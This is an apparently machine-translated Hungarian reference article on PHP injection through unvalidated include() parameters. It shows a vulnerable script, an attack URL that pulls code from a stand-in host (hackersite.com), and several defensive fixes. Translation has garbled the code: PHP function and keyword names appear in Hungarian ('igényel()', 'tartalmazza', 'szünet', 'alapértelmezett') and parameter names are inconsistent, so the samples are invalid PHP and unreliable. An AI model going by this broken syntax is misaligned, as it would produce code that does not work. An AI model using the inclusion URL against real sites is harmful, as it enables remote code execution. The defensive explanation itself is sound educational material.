PHP injekció
Az oldal jelenlegi verzióját még nem ellenőrizték tapasztalt közreműködők, és jelentősen eltérhet a 2020. december 1-jén felülvizsgált
verziótól ; az ellenőrzések 2 szerkesztést igényelnek .
A PHP injekció ( eng. PHP injekció ) a PHP - n futó webhelyek feltörésének egyik módja , ami abból áll, hogy idegen kódot hajtanak végre a szerver oldalon. A potenciálisan veszélyes funkciók a következők:
- eval(),
- preg_replace() ("e" módosítóval),
- igény_egyszer(),
- include_once(),
- include(),
- igényel(),
- create_function().
A PHP-befecskendezés akkor válik lehetővé, ha a bemeneti paramétereket elfogadjuk és érvényesítés nélkül használjuk.
Példa
<?
...
$module = $_GET [ 'modul' ];
include ( $module . '.php' );
...
?>
Ez a szkript sebezhető, mivel a ".php" egyszerűen hozzáadásra kerül a változó $module tartalmához, és a .php fájl bekerül a kapott elérési útba .
A támadó létrehozhat egy PHP-kódot ( http://hackersite.com/inc.php) tartalmazó fájlt a webhelyén, és ha egy hivatkozáson keresztül felkeresi a webhelyet, úgy tűnik, mintha
http://mysite.com/index.php?module=http://hackersite.com/inc
bármilyen PHP-parancsot végrehajtana.
A védekezés módjai
Számos módja van az ilyen támadások elleni védekezésnek:
- Ellenőrizze, hogy egy változó tartalmaz-e $moduleidegen karaktereket:
<?
...
$module = $_GET [ 'modul' ];
if ( strpbrk ( $module , '.?/:' )) die ( 'Blocked' );
tartalmazza a $modult . '.php' ;
...
?>
- Ellenőrizze, hogy $modulea megengedett értékek egyike hozzá van-e rendelve:
<?
...
$module = $_GET [ 'modul' ];
$arr = array ( 'fő' , 'körülbelül' , 'linkek' , 'fórum' );
if ( ! in_array ( $modul , $arr )) $module = $arr [ 0 ];
tartalmazza a $modult . '.php' ;
...
?>
Ez a módszer hatékonyabb, szebb és ügyesebb.
- Minden értéket írjon át if
<?
...
$module = $_GET [ 'modul' ];
if ( $module == 'fő' ) include 'main.php' ;
if ( $module == 'about' ) include 'about.php' ;
if ( $module == 'links' ) include 'links.php' ;
if ( $module == 'fórum' ) include 'fórum.php' ;
...
?>
- A switch utasítás használata:
<?
...
$module = $_GET [ 'modul' ];
switch ( $module ){
case 'about' :
case 'links' :
case 'forum' :
include " { $module } .php" ; szünet ;
alapértelmezett : include 'main.php' ;
}
...
?>
Ez a megoldás hasonló az if megoldáshoz, de tömörebb a jelölése.
allow_url_fopen A PHP lehetőséget biztosít a távoli fájlok használatának letiltására is, ez úgy valósítható meg , hogy a kiszolgáló konfigurációs fájljában a beállítás értékét Off értékre állítja php.ini.
A leírt biztonsági rés nagy veszélyt jelent az oldalra, és a PHP szkriptek készítői sem feledkezhetnek meg róla.
Lásd még
Linkek